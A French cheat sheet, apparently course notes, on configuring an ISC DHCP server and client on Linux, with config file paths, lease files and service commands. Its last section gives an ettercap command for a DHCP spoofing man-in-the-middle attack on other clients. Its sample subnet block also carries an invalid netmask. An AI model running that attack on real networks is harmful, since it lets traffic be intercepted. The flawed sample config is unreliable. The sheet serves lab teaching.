

Configuration IP

Serveur	Client
<code>/etc/default/isc-dhcp-server</code> [fichier DHCP config serveur]	<code>/etc/network/interfaces</code> [fichier config client]
<code>INTERFACESv4="eth0"</code>	<code>iface eth0 inet dhcp</code> [prend une IP serveur (ne pas mettre 'auto')]

Configurations DHCP

Silencieuse	Dynamique et Statique
<code>/etc/dhcp/dhcpd.conf</code> [fichier config DHCP]	<code>default-lease-time 600 ; min-lease-time 300 ; max-lease-time 7200 ; subnet 192.168.10.0 netmask 255.255.0.100 { range 192.168.10.150 ; host my_server { hardware ethernet a0:00:01:02:03:04 ; fixed-address 192.168.10.200 ; } option routers 192.168.10.1 ; }</code> [bloc subnet]
<code>systemctl restart isc-dhcp-server</code> [redémarrer DHCP]	<code>/var/lib/dhcp/dhcpd.leases</code> [fichier bail serveur]
<code>systemctl status isc-dhcp-server</code> [état DHCP]	<code>/var/lib/dhcp/dhclient.<iface></code> [bail client]
<code>journalctl -u <service> --lines <N></code> [n lignes journal log]	<code>dhclient -r eth0</code> [libérer bail en debug]

Configurations DHCP (cont)

<code>journalctl --unit isc-dhcp-server --follow</code> [logs en temps réel]	<code>ifdown --force eth0</code> [libérer bail]
<code>dhclient -d eth0</code> [debug client]	<code>systemctl stop isc-dhcp-server</code> [réallocation bail client]

Man In The Middle

DHCP Spoofing

`dhclient -r eth0` [relâcher configuration réseau]

`ettercap -Tzq -M dhcp:/255.255.255.0/<IP DHCP1>` [lancer attaque sur autre client]

